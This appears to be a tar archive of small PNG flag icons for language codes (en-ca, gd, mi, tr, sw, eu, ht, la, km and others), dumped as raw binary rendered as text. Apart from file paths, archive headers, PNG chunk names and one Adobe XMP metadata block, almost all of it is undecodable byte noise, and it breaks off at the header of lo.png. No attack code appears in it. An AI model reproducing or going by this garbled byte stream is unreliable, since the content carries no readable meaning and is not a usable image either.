���%�̅�	��B!3�h'����Bf�inc������3{Y���T�P��֍���Б�n��$!�{�#�������a3�<�p�lhYF��q�316F3�GˌԞ6F:�� ؞��^�3�ɱ��9���� ���@n|���gd.�Ah��1��g�I�2��D��IJ�R�7��:wz8y�`󿵐YAS���e�����ܖ���Iq��2\p}uY�V(p��f��1\/�n�%I����W�
P���� ;WᮯIEND�B`�lang/48/en-ca.png000064400000002714151721413500007414 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FRIDATx��]h\E�s��W�t���T�� ��T�l�Ҋ�,��"}��j� "��\��~�?@���P1���K����&���{���v��&M�6��`3�ޙ9�?3��9�*a1��"�%K����L�^Ld�V�?2Rhg�ۣ]����G���7�] /V�޹�/if��}��~Ȼ@�`
vb2��ܔj�E��;L�P�~��
�q�Zè��Y)���jw���8�Y�a��tA���3'm��J���w����`�j�T�ή��R:��K�_�X`� @�jg�tit>�L���%�Ď���A�4���HP%�o$�`I��A����VB�5(�x��|"�x�ATO� Ơ\�
��RP;�Nd���e.�8��Pd���� �=��t��ã�l��#M:`,�y���P��?Ϲ�#�l���}��_�ݶ���H�Z7�&D*,@z�&�ǎ�b�Jd"CR7�=8)�6+��x�wu�T	�'Z�Z�)W�4ߨ�y�n^�e�g}'�k�'!�B���t �ϟG*�M7���x�T:E�SO�o��U����W!uۭ����z�Y��88:�Tj�=`�&������K	�Nா���l�#�e�ܞݨT�_#�r]t>O�cL���e	N��\,�b��%�B�ʉ�&?d�H��>�}��P�Q�˿O��Pb�~�䘩t��/�L飣�L	
��!�2���W��p��y�Ŗ8gn�'�ic佶�x�0*��ի�|}�I#�r�m��}3(Ֆ��?v��+�幥�+��~
��H�a�q�R3�9��?�/�'C܌Zk�c���/�%3<��.TQ)�*�BJ�ٺ�wy[2X���Ei'� IQ��۹�_q�e�J%����RA���㿐۹#:�	�+��w��Z�h��Fo�������qz�ރ�������#��)zv������k����X_������9�@B���Fo��ŏS&���b��!���c�=�FX��{���t.b}������v$?��%��g�n8Z�22=]���4]&���8ά�n�b���""�w�3��ٽ���
�7��	�۷�:�?v��?�s��7���(q�1ъ,@j� �'���F���!zfV�W�8$`b��t ]�rٙL���_�u�f/�Y#K�H���IC?[*�1 9��2GJ,����lP_"<{��	]��b[�P�]�gٲ�$���P�R�٭�]ʩ7t��&��P�Բt8˗_S����[�Q@q2yD���o��#�eVk��j]����Z�����ҟ�%K�\S�o��&�p^&0IEND�B`�lang/48/gd.png000064400000004602151721413500007021 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F	IDATx��{pT��?�޻��< �BB�1AE5h�mt�T�L}� �ck��qZ[E���v:�He�a��VA)
X��d�ڻ{�l6Y���؎S~3g�޽��{��u�RJ.fQ����K��	@\�׋I, ������Okg��5��u�p:��F� ͛�Ë�S��<x���
 [Jyt(ݺ�?�����*�B|5S+%Ҷ��Lf�e�I�ӆ6!r�'��������w?o����T��������ö+�x�2m�,�<�����/Ĵa�uش��������EaC�8�,��iIl�ff��[��ě��BLS�n�A7����I.�Y�˷�3��&�ecX6A��0C����i�=���z���M�9��]���xys
����,�v�rӒ��|����Od�Σ?Ӆ�TC��eD���JK��吝��ӝl�8��{�	8\*��u��*gRZ�>�f#%'5�Gn�g��F���CöA��(�z"q��Qܖ�m�4����.�K�'`�[�߰x�#Toc�
�I��/�0�dAS2�x�#���p�����.�\0���)1��i���8p�
ա�T�l;���6�򬽵-44u�|�4
�=Q�MMa��l��Љv4�v�ՓRbM�2=��%��dwL���Q��_G�K�2%���
�d^�dy�[���l�������g��jR�q�����x;����]�p�&�����ҩ�NpF���]�xek���P�>]�m]w�Y���Ȱl���!>k�q�M�LMu�]�;��P��a������S#`���ĊEә��s�����|v�ͥ���~l�"�V D��у�СT�n��#>�.�e�u�Q/�Jf�}W�ڶ:���,�*�K�H�@F�J��y�?�[�4q8U��`L�"�,�|'�LA�O��6;t����w�����I���n�'n����� �WdĜ�S>?�6V��Y4����5���mvo��L;�Î>C�`�''����o��M�ӣ�/-�0�����&^�P�Y�W�Ò`�(+%0���t���U��V?+^�˝�'��m�$��/�Ǻ�6԰��P��2����a���-\���=��mo�S��~�dߘ<fD���g���`}+N���Ǡ�J�شvbV�Ce~�DIu3۟���))�|_]7��=��I\����~$��Q��-�m����f��
l=�c�nV�%3�<Þ����/��u��m�g(L�yaԶ��eK���+�Y}oS3�Fd>qN��7�2g�8��>>��	��q^��տ�%Ca��e���-���]�����G>R�2F���<}�,�У[� (Ӓ�'2$QWAJ�����"��1.��nEAa���}���߻���S���Qsԇ+�I�ݫX����A���,]8��~Y2,��[�(�黔<��W����?� ��Q��M�uA<�&�)�e�mB�"{=]6�1�������Lj�'�usϚ=���
)B	g[�	*ۙ�76j��XT���Q|V��׃�P��p�)�@H���
�!3˖K��e��_&��O�'���cc���>>ƒ����n��
����*N��u�?1zAW����s�8�����
�җ�B9@���Wn,W�> �裨���W��a�sI�F��;�KW�f��hl��v "�LH�s;h<����?⇿�M�nFՙ�u�'�R����~}�9۶QT�mKz�)�)_VL��i��p,{��V�
 ��f@U��RS����7u�����J󘜖�ï����v\n'�-�D&mK��&Kn��o��n;��v���W�‹v���!�w�w�qU3���?s��������q�dt��aJ���)����c=�������}�����n�s��=���1���#?V�4�b˞F5urM�8ݎ(�>������@E]mm�Ȇ-�ț����W��c���1޶�$+^�Gé\����F��r'�b�E|�0�ޡ��Z��]/�:�kko�M�nX<�n?/m�’�<��AM/���%��sD��kkg��:��5�;+�2����� ������#�
~�� ~��]U��?l��
5����z<���i٬�T�K�	-��4�
�u�8���e�y�3І(�����x<�����p�L���	;??�í��H��#v[b�M��Nc彅L����N@*P���s�A�y)��z1I����_"p��%_��g�wX��UIEND�B`�lang/48/mi.png000064400000004206151721413500007034 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��{�U��?眹�}���]^��+m@PyHb����д���
�&�>RMImm[B7!�)X@�R���[�B�
,�²{�9��L��w��{w�����ə��9���9�9�1��L6�.���8@$��H�)������_/J�&�ecɒ��H�X���Q,��P�˅L��*m?���ݸr������)�̜��9�4+W�_$�N�uc�'�_����0e��
�͆
���9
8X�0y#�c9�mC(�ȑ}
���=��R��}�����#})�o�	@'D��
�
�b4��g�@zLϴ��g��lܴ|�y-�p�q�A@m�ir
�m|�����C��1�H�+8q�����S[���4�5�G�l�:���@��9hm""�a���/�;c&R�g'_XD�I�7n��E8��Q��¡���|�w��wW�v�B����֭�����IH�<�LP���4���ʑõ�����s�t3�V��9�Y5�|Vʹ{�Qq|?��XI�8������2	��9 Bß7=��!�V���{�dƚi���F�ϼ�0��`B�\��Ǩ�I���̑f.�S4�,�op��9Q�<�6h�	�D�K���%��>�b�Ჟ>��|�A8�m�������g�
�*�w��`�:ܡ#X/K��C��M�:���b�ڇ�	��� gP�L�����P=�)2u�6���]A�c�!�\[¨��9$6m�a�7k��p%&ބ�7��jX-2�b=[�������x�Hw�.)"7�@CC�m� @)�����Q�`'S(`�.�����o��}>��	�p�B&ޣ��q�6r2t�E�p+F+���h)́�0�ϱ��!({�9LC#F'6���6��Yo�w��<�穤u4J�W�s�@5*�Ii.t���S^^Dc����M7������vR8}z�Մ��
	D��ϲ��wl�p�t�w�R„ù���ح�ۤ�Ur��%
1}p��ɥ���u���Dphjj"�a�C�{c_�OS�ß�6n�G`E"h�]���,x���bt�}<9�*�}b��?��[�A�)=\7H��&��FI����x��ߕ��ƘG�+�0�E�_bv���.�1� <*+�dI��<��3��pb�Lr�.��˃�����)���@�|�6��>�y�K�M��K0[63m�*~��(Jz�!���>��DB�3ch.����
�R<�M�	~�+�i?��=:_uG\�ʷ�!]�`欛X��v
Oq��	�Vq���<z�+�F��c{^…�$Ɠ(�p�͑�u�=�7̟�Gd���^�*A���0��uR��<���ʓ�s(~�Y�1dHbq���LH ݀&�G����>ޏ����8�� =&ML㻛8>o!�|���&��s[�םJ��B��H�
F<�v��
l�z��~v+�����x�i��r�k�2dbS**��X�b7![a5Q��������u�p�!t�d}+*�ڙ�S2�
���J��Q�
C˨zs/uu1�*!�훛��Jijkc�:����%kDZy��-H�u�ABIm�w��C]Iq~Z!Ӛ���m��N�*�ZE�x���']Dm�
�R�|���J
۶�gί	a��)��t$+dX��1�ڴI���f��~���A�28�3{�^^�2o��J#�����l� ���k�<��(�R
ts�2yд�Ӳse����W��.)ʣG�R�+��E�&�`Zɑh�U��dhc���5h���<|_�C����r��?�#Ǝ���Z��L��oe���c#��+>�c����9���ڒ��^��&�B&�e]��5�PP�����5�(�'��椴�Vk�q/d̅-`�e������>:B8��з�NK�͛|�z4J��g)]V�ل�y[L�tJ�SAA��}��/g��w�4�����&�I`��lz�ώDh�.~���"��.(�{s��J
�FIEND�B`�lang/48/mn.png000064400000002614151721413500007042 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��M�E����d6��5
!
�$�`<(�7��I�`���'A=x�Q<���xx^
Ԁ'C Lܝ���nT�硻gjf{7�=����~�^��}v�QUf��x����!�*��h�N�GKK�ǎKp�/��ev��;S-浏߫=��o�>�*J��ӵ��\�L�u��Z��.r�}�B�!�z�S?�3���k���|��bڠI�;�G�UnA#Pq`��1U���3�-\	@������0�/�U���V����D�6(�fh�m\%�kN��ޮ<r��9�a|l2�>�fٶ�vj��T>PG�fl�@���C0mEc��m;a*�}��Ft0&s"iNi��}�94��tt7�%a�Ք�
���6&���7�,�Ȝ@���8ޠ�k�94�sd#L+AVAS[�,����q��h�s\ΈQH�M��R�_)ۙz���F����iQJ4N�d���<�HY�����P�����S���&$����^Oi>hI.5���40��'sb��E!u�L�x����c���N�ƦBә�Ļ׀!@��P�	�ݐ���ji=�
ў�
AS�JC������� k=�^�p�}����ٌ��I�>��mp��Ν�:Q(M�kQk�\�*!������	a���iQ�#ΗM��myQljL�i��]�}z��o%�s�놹�[��X�.]/rDVT�n:��	A����X���h7�n��qG�c��6��n@���d�)��h�:����ٹ��xZh>�P.LA%:"����a����/i���>A��t�^���n/��0*�0�6��p&ƭ�:�e�儍�pgJML{�Wc���Q
��
F��V����!(���5�Zo/U@dd��\���K*�~/�ۭ�ޱ�u��bP�6�%����s!�-[M�-xɐ疱ߗ�wvhB�@"E�V�҇Oe�		�:4��@�Z�+�u
B)3��b'�–fV�<ci?lq]���2%�9Д������5}H�&��[j�s�+����/!n��C��"<�����jE!�\s������a0�+�A��I��WV?k"}Cr)�Bäx'?Cx��J�o��R�=�?a��֎+�z]5MH�Od޹�L����<0�����5�H0C�}`f�&u ( ����}�t�H���[�n婵���b�[]�ju��j�8�1?�	�j�?/��,�X3{_�������dz�jIEND�B`�lang/48/tr.png000064400000003054151721413500007054 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��KlU����G��m
�
��� �&�V�Yل�J��|`B"F	7����FCt��U<"��H �@)����{g��9���Ng�jyȍ���y�ǜ�������Y$M.�f���R�k3�\h���?ڌ�?��6�n������&_h��Zc�B�����&�Խ1��FR�n������
@�;�>(U@t�z����Am�Y��d�z�J����x��>��@G(
�rPB�d���i���?��2�4�(�C��F+t��<�*ct5����Q�1���,��h�H$������8��R�8�
��>�I��Z�K�嗐�V�x��� �A��7�¶��D"�sL� ��9Sr����n�B���f�Sk�b\g`���GQ��!��'�׭2b��8�qjW�q�/f��ȹs�*����ϸgϢD*E������L?�h�DK������h��>ּy�ݶ-6y��I�|��!%�{�4���Ē%(�1�Pɘ���˪��G�J�pJ�}�1VWW�����~�
<&iR��Lpϟ���--�1N1Z�g��nT#���>�…����~��o��T(���<����l?�۷c�B���̜�Ǐb�@�ЅB�g�"�իb��<A��Ed&S��?R,���aΦMx/��o�޸���}x�²f�F�����T��Y{�;�4��H$�{zhy�-��?`l�.�K��s�62S%UF���5��G�{���zl,�Z��<�k��%S;���C%�?�W�����:^��L�i%;:j��)�6�so��ؗ;Bõ:;���*�5�KԈ��u�Ywp0�֬ADSۇ����Q:>���_�n�Mz�&�K��ݸ����N%�e�8)�I��t���fH���z�u�ӧ��Á$�XL;Fߧ���̔� ��j ���\��xW�2q�H�s��=X�݁�hl,�T�0W7 �@ݾͽO>E$���,B
L��������u:R7Y�(_E:谣L���܉{��T�|9�&�ʫ�|>(��:����"�vmeB���ǸNeW��V]��u�yrAt�9U
��0�-�kٲ!��R�p�q������իc/��#�_ÿu��Aˆ
�۽=2d��}J��j�4�&]�oY�p��
,���C	cd�AB'3��{��w���=��{�����߇.�B?�D��I<!x�ʕ�PO�PJ��w���"���׭#�ۋ�d0�y�?��:��{��<�ĭ�T
WkV\��sѢ��m�&s���n�&Ol�JY��8NL�q|��ׯ����Ѵ\��Ȗ���:O�d�2g	��{��̜�`Ρm��L��h"
!j4���Pȧ�֦��]�Q�X>ߌ����U@g�M~8/~/e+�f(��?��f��O�e�������IEND�B`�lang/48/ny.png000064400000002353151721413500007056 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FqIDATx��MoE�����]/qb#F9�)��K�����?��9�r�$">���8vbo�tWq�Y{��݌�H��agzv���>z���8:.'N��P���%�@��˗/���G//�T	x���ի�8��\�t�U��s���l���!�@0c�rW��j�h~b0׮]8ま��sfkk�fp���l�܉�| ����9-��)ث�2�1t�y�`�_9�[��Qe�z^q2GU�̌��T
�����)��@��H���� �$���V9`M�ݪ��f<@1�dP,��6��yq|���:����q�s��ȸ�s�T���#UUK�g��=�g���T����932�š@4#�Q��+X+
V��]q\��?9k�#j�@ʙ#1�փ,�p�?����gN�ʉ���~�g��k/Pn'�*�S�+��s�(�h�uJl�;�@J
fvlo��,W�M���7Sⓥ!|o��*�r�6|�
����G��EWp��ob$��� �La1�Ήc�豝F�ʉU��*H��pP�����+{(}ɒ/Y��r��Br������F�x�?@b�n��o�wLp1���À�n����CV����լ���_��Q!B����q+�SŇ�Π!�֊
���Y%^�
�b1[�'�^o�@F#�������{����߱���<z��y���U�r	t$��-��WY�@36
�(F�&�,2�l���&�m���;��������&L���Lm1���oB)a)�%�T�{��d~Ͼ֚��bu�aB9cjB�31��Ng�y��tHt��Y��a)w�,7�h�30������,x>+>����q��̣���By����`sLtu��}�~�ޙxM����b������6�����os�P�oYx
����f��~-<wq���Q����dR���f\Q��n�b�N���PG��߼��L~Tpl�-O�%�X�Ѐ=�Mp�s;��$�:��IT�3"r��ᓸ�d�����Q� 3tȆDd�ēƩ�R�L���loݧ��X�Ϛ�ul����r}�`GN�ԟ8p����6ri�IEND�B`�lang/48/sw.png000064400000004225151721413500007061 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��{p���?����&����2 @�7��H�J�,>��uZ��q���RR�
�2�B*ς@;��V;��   D!"�D�1�����v�$$�0���7���s�9��Wh��������6���@\��V"	��2r��⛩IX�L���7��Ǐ(����R�|;w�ld
���ݢ�\q�����B|�Y�Sڣ���f�?%m��Mvռ���h`qJk�R����uT���u�{���k�y�@ӷI1��,ĈS\��y�j�]��&55�4@�uyO+�VU��FU!Z��ˋ��0lϤI ă�/�&����w;v)��
�"�A�� D�EJ�V=,��tq�wCC����ҋҲ��$��/
6mq9򾪵�qPZ^5@�p�đ^��J�T�
�d]�W�b�G��mE��M��84L�����^�]Wli�-����@z��S&����o�z����c�d���.��Q�u!W�[���>cpf"��;)X���\����%��&��BJ��u�@гh(glǏh�Q�ɾ=�߭���k�B0i�EV{<�ww�V���]�s�;�+e�*�J���S��^bD��5�)��൵6ݫ���e���� �uo�bӮD`e�O+��!���žI��cL�|~���ރU�=���=�6Lg��<��ۆU�zS^��g}
bI�u"�OS�!(-z�1�S-3���L֭Q�}�~@��`��ͳlB%�c����"!9��QY�ӊ��	K�����o*Fd�cT�s���3'�_q�x�C&���1b�+���-y�p&/aP@�BJ��{u���&�
J��4�3��3xc��ŗ=JK5��-tB:��G����G7�OZ|�k�X��+��k� >x9��ttҔ:��i��`x�|�u�#%ա���9��ޮ���&�e2y�S��L:O-�#-!�'��y��^#b����v�tM�%�3��Y�f_�ɮ����{\,�;P[e
����o��Æ�]Y��?�_$@�<"�J����*\ZsEՂ��(d��Gi�Q��<�#Y��~�M/�H�t�K�L�7�
ۺC����]�L�&D�X)T
�C�41�fB�3L��i�S<>�@0i��;�{����'|̘j@|�Z3u���
�\#�U�F�k}K]�)e��s�{�?e�n�"w�G��u���
�-���	!X��w�]y��H�ѵ����0���G8����<���Ӄj2e�ÆͲ�*]e����G-��5I�q�l��=��C��v��]�4bӨ�$
�"�r�"=�᷽O1���g�{�`����XU�=�]Ӭ�`��T�vٰ�Nf,ĥ�������б�\宏A��,��(m��*����p�W�y�'?2�?ˢE�˗I�}^��,		�z�!$%!m�.�<��ng0�$G�3x|�͡��J͉�.=NF��)0+�b�DF�={;2y�|x6mtP��������q�c�%�k�>H�6�`[,���9צ,���A�"Z�+�D��/���Cᔘ�ye0s_����PDZ���*O�ʩP���У�����!ɍJ)���.�w˘s�+C���^_�M9�1yj�I\���SM�3��"�1Υ����S-����s�@#�w�"��D���u
����i�%}�엀vز�S!����互бݨ�h��T<�|����&KX���R�y9ˆ����� Ѯ�i@
�dL<��I��O��n1}�q6���̈́����kQQ��q�|���aI P7!=��^���~U_��/ �CR��K�(h�����<�7��-�}�$��Mީ�<6�A���87\y!D��j)X���Ї5(����lEEɐ|�w=&���˔��\-�#?6����&��.&��| ����=�3$�)G�V�E��U�

r�Y�b�	F����EC8��	E��>t�.9����b74E�1Qq��\��J����6�7��3�m�Ȋ��IEND�B`�lang/48/mg.png000064400000001346151721413500007034 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FlIDATx��͎�0��I�vWj�h��8Vp��y$8�r<��rF��e+��áI7MSZ�VD�8ql��3U���r9��w:@?��Bf���L�w��i,�CU�9��o��y����4��"���������s���|��*��.�C���:n�k��	MS$�����በ��zuu�:��Y�:@c2Ku��6'z@=�˽����49��k�������I��1^;5@����K�@���5ei|���tc�Yz�^� �t:`�"q͗�Q6�
���A�/?`Bħ�BIy�
�1~^�{`|1��=q���ՒW����B�p��t#�3`�V�M���]o�UVYD�/����#��ϯaz�Z�.����bZ	Vj���d�&"��w�ݐ�Ѝ���5u!���Wߗf��M]�iG6L#�'�^77�)��I���B����N�$UeEv��	�wՓ-���ڛ��"�b{��\E�sY�����""��BQ(g��
�1�@���R�fQ�.�˜�>`^�e>@~��
9~+�c`<j����!
�	H����p8�?}�X�|TT�IEND�B`�lang/48/uz.png000064400000001713151721413500007065 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FQIDATx��ߋG�?=ӷ�ws�D��&#�I@4!��|����!�� ��@B \@�K��IDD9$�\��x��n�tUvvwvo��r��f
���)z�[US]�mT��)"p*����y�a�
�>�����c�[`��rt�x�֗c6�/�xe��D��[+.ݺ��eQ�^y�X����VJ�p���ޙ��_��*�1d�xo;���WUN��WU�1Kb��,yr�ȼV)�ڴlD��K8�o��
����ۿ>"*ED�О�ycrj��nrj������һ�w;ƀ*du��j�L�E�t��D�cñ�[at��#n�y�]#�x�c1��L֊f���̱V��ˑKM
�W�(�2l���*�.���Ƀ;;�G}|[.��F�卻���x@P�6X�5�4Rf�X��h��~��O��&�|'�l�uU�wW�q��=zs��o�qm��PL����%�醐H�09u�o.�Pw���Lp����6J�)�>��zS��?�Vs�����蹋ӻ�G�>M�g�Rf���+s���l�02l��"��81a��9�K<�O�?i�d�Ey:��t<`.\��h�f�V��F����!U��5f��
����:�Z#IZ�Z���XԹ��95��E�U�4��,��a�4D�]�}U�XI$��d�x�|≣(�PҖ��=1��Mݧ9.4�>:�}�+�ͧ�ф���G�=�L}���c�����,$������X��(�d�4�J�Jl�`L��b;{����B�Һ(��|5�R�`x��������h��@�7��@�ҿEQX�/9�IEND�B`�lang/48/eu.png000064400000003570151721413500007043 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<IDATx��Y}lSU���[۵]��Od
$(�"0�"�Ɍ� �%*~�����2E�"�N@��&((�dk��k__�{�ڮ��{�K�bOw��s�=���=�[FEd�`�S€��wҴ�郟�x�XyK-��N{�S+����xoKz�כb��^,�-Y��v�
�H�T� �`H.xp���B��<`�;����}�5N6�&ǀh�7��+5@/�x����DX�C6�:%v"��O@��bfec���qA��F-*G��df/f!/���3՝��N����|�L�>���	f̾�Ƹ�XH�l��b�����t���\���2�#+��t���B�ɀ�?:`�h��|�a�)NΑ�c��2x��F�_�y%JQ5��ϣ�|:���k	��ҟ�X��j��� �y�B�?��z�U>���5��.t`���7Ls��:�?Z`'Ё��W��ba�z�7� x9z�ŧX�bĮ1f���XhN*��x�o7f���>���4A`��ye�'�"J/ub�M4|�=0@$�D���C�]�����"+S�T�]��E+���H�
}^�����d0�_{��;�Df/�H��2 �!���B�A����K��f�mV?`��'�5��
��?O6�,pS��}�c&+<��ZA�w��$�#W��
L��wM�kX�j��Ɖi�LV>y���3�W<Yہ$^ٕ��G`��0U#L�d��f���O�Q��FF)��:�~�
P�
��=1���H}3Ɇ��Uo��OB�͊����Ux~� ��8u4���^�L�I���b��I�'
BdW��!`%��!�ۂ�ă����*q��m8��s*�k�b,&+XJ �ZM,���z���uN|<-�e+<*c;���6��G��[(h��S8`H2���"OV��0���b�N7�,NÁQf0Q�I��\7��g֕N�|�'�W'.�$��s�&���Y0̘DE�0�?��[��8}uJ1�.7�F|��|����t)�F����1}�
sH�`"
&��ˏ�㙳��o^�b�)2�2q*�h���[�f��"M�9~ʊ�FyY%�#X3}����f�{z��`
쁐��cC�(}z(�3H�Х�>�����r��T�K��,�4c�
�纩�([��V�&�K�9E�.���ye���?��K"����-{"W���OA��1�Iݰ%a��f�cx��)��`��fdu*Wj�.wb<���x,�yFi� C^H�rh����'{���P�΂E}h�!��Tf�K�p!;9��b���-?ކ��������)�
¯��=�!���|t^:��B:�CR�UBW���̔N��*�<''y����`Z"����1�z���V�ϭӠ|v6�����`R8���#��@�G����֋q^�/��k�
5x�����㩜x�T�6I�P�›X!�b�H���0�<5D�+��'�h��M��O�|�_�a��P�*�O�t DB�Ŭ����8
cq��V��iF��ׯ�u!)d��xm^6.f*_�Є�~� �)����+p8?���Qyzٻ��~W>DT.�O�G�y)X�hp؀s��0�T��iGV��Z��Q�t:�ZV�j�T��ƒ��<����!�M���tg'�>��ط�
���"�HQ��(����W��x6xȲ�QY�=v����-a_�Ł�ȡ�br�ҡ��=��&���v�n��c���-�ρD���$~�O�0 a�J�
0���1!欃IEND�B`�lang/48/ht.png000064400000004201151721413500007035 0ustar00�PNG


IHDR00W��tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3" xmpMM:DocumentID="xmp.did:C1FAA12B723C11E2A134B5551BF270D7" xmpMM:InstanceID="xmp.iid:C1FAA12A723C11E2A134B5551BF270D7" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D2CDDED3B590E0118994FE9D01F34E2B" stRef:documentID="adobe:docid:photoshop:442da6bd-f63b-11db-9cd5-e3aa83cfa3b3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>�{��IDATx��YMh\E��۷�i�lӸ�R6����
�A��P1�u��CAi/
�o�=	�[!DK
��AJ��-j�����s���·�y��kv�浨w��ۙ��y���f�1��\,$�����	0�Rte�{���˱�_�ӥ$���4�!I����{��ۿ�ې&�����XYs�N3�1��u�E��ԧ�Z�3���ڍ�+���1fm���s.��j�L�o
��iT�k��*����`�X2̠�u���!H�Cy�	Nc�P��Tqk������PW��5d\�)�j�T�\W&�5Vn�&亂:D2VeB�q�}Ӏ�#��u+�Ucn"P�ƪ�
��V�5 �$�2�U49������
�l�an�QmBUNZ��F�iMX!�iֽ<����cn
��UAZ�9�*e�>��r{�ȳ��h1!�l�AG���t�U�i]x�����/�ۮN]�[\š��#�ë'/��>�i��%�gmR���MN���چ{��cl�8��c�<u⡿�q���|�|�5�!��=D ��]]čkS�8�_��0�4�|�����q����<���4�,~(�-Ӊ%J�n�Z�S zKQÇ�����q��%L^��������ν�
J%�#4����L��7ūP��}�W���8��Gq��m�ژ���?�Y�/������7��/ȋ�ɬ��;ZƇ���~V�,~�����&[�ރ��ґ�0��O_�E���'
_b������~�� 2,G(��Ԁ��	|*���/w�VƱ�Ȕ9��8���"O� r���k��N�6��7��k2�%",c
2;�c6}�2w2��>r�����5�|��
T7i�1ش�-�Kȏ�b�%ȹ_�w��Z�yP�L�p��
�:'�b��}�0�͌`u�;�+؃�y%K.q��<;��~3mw��rCJ�u��N:U����x����A����^l1`���r�Sqs-$�MH�	f��V�v����De�v)��ئ���Q���nVuѧ"��l'�<��[��Gg����c��F�{�
�t�0��Z	Ҁ�*M�	��b��b	�@p�N���
M�@�ٟ8S�<w^Y_G�І���T�F~��Y���`pOR�m�Y�K}�@�@���Z�`�|HƠP��IEND�B`�lang/48/la.png000064400000002401151721413500007016 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��M�E��]ݽ��������� ���h�1QIL8z0��I/z��p�n�/���/j��`��pX�.�13��t�tw���f�A�Y&�?y���JO���z����֚n�A�c��
�'��B����2�m�V�\n��%�
��=׶74t�mD��Sk%�
4"�Rׅ�3Մ��G
T�~�Q�Dõ��bhu�á��/#�alM	4N��r�}o���8D�Ѡ�غ-�@-��$�h��� <���$�	j���u-'�MNC��-��QXDZ�-&��^=�"P���[E�1�$�2�[ �݌e�QZ`,A�N�F���x@+�(�c�j�G��^@E���n�0HT"�݃��4
LS��Z��n/b�6� `��V,!p+ǘ�=F&��D&O�z,N'��V���"N2����ҥ�I����o]<iB�n�6C+�:a�
�T+E���;y���E��R��Ϗ������}���{Ө�LA���ej��n�#o��RϢ˽���2>�9��B�ߓ�&��z�ZL����4 ��i�D���[�N��8�ޢ�͍T��q�!���л�6vb�R�0�L�dddDZ��"��òr\<s���m�"=�9��#��ڿ���Gc�RBA4��:8��µ#O0�>.���2�.�i��ڍ��}�RBu�r\H5�#�Id� ,}�=� ������<ź�\K� �ۏ��Y�'�*��Cm�&�j�QՏ	��xs��w�׸���L��\��:��{\�1)Wdԍ��GmMRit�D�U�}� ��._�==M�W��;�{�A[Y?H_~3�n�>t� J�'P
w�U�S��=n�p�hf���FLS�{�\���AΏ�E�4I���5�;(ݤ�\Z�3٭�=�wd^~���ꙿ�ML2�,�͆�6R[3H*a�I
���T�Q���l�7�,��-����uQ�2}��;�0R�
�z�Y��Z�z[�kU���bNL\��b%?[f29[)�� [�<=†�a�4�V���Z�F���sh-H�`��TB���b�vܑF�Ҵ��=&X�F6݄���1XO�!K��nE���'��B�ܞݳB���0l�]����x)S��&�@Y��ԯX!�B`Y����_�D�&�IEND�B`�lang/48/km.png000064400000002640151721413500007036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F&IDATx��m�U�kϳ��{|̰�7qQ�J�%�B�DR��H������zDY!A������L������{�b�3���soR�6�gf������{DU��f��
`������Ij�C`��/�t!�(�7�D����!��}{�N�s�h�@��sʕ���&R;�V�En=�b���z�%����4kgR|E���{J[��lA_�Ƴ���#�mE�N�� m�E���}�k�
�(����A-I��+�st\X?�[Y@��t���/J�ӆ�S��Q�p�R��;�8�y�v�H��6�8�Ɔ�/�u�^nIb8q�����*��� �>���b��B��A�jK4_i5�>�K�7K�n!}�_X�%ϸM����F=��J���O��/���LO�s7Ř���ˣ<��{���3�=aU<��C{� SӤ{��
���a�Z�!Y�o�-IL���w��{�&��h��E��n�%�6K�����$޹�2$KI�v��y�vm�F����<�G]�w�%�;h�q��"?s��<�[�z� xcH�v�f�>�3g�(���ShY2���ŋt?�ly.T�蚬�94_�/&;v�*���0d�[oB`0Q���h�~��/, a��=�1�����
�����:dcf��yA���*@&@�Qa�P-�t�4C��b$(��a���t�;7c@�C�6�_t��;�hY�[[�Qi�}�B!i���@���:�uk+׽re��o�#�Q�F7c�ѣE�_�VJ�Q��������Ʊ��
hQ�ݚ��d�f{���8-ܲ���b��ŴZ��Z�P���5H��dQ�Z�$1���;s��s��0@�0#P_��m��$��x�-�m�H#i�$1�u�7��A�A�L0�В$H� qL��.6�|�ræ,]Z>^����FQ���_�ㆩ[�=K��#�ZqT�����l
&�0Y���_�K������۷�~�J��,���Z��i?�ޢ�,e��K� R�hY�z�jmغH�V?�Ai=s��Mc�ց<���2�I�[��ˋ�*����.��}��ʊ͝����T/$p�`��r��
͞���^nG�/y1��.V�mz<�4	��8�_J(���
�J����Q��uރ
�CoY�cX�gt�A0�s�Ik�<^W<2A&�QX��B�6�B�1NB6��q�$�Vp�D�t'*�8plv�&,����K��:I-:���~�*�U�j�kח3��oIEND�B`�lang/48/lo.png000064400000002233151721413500007037 0ustar00�PNG


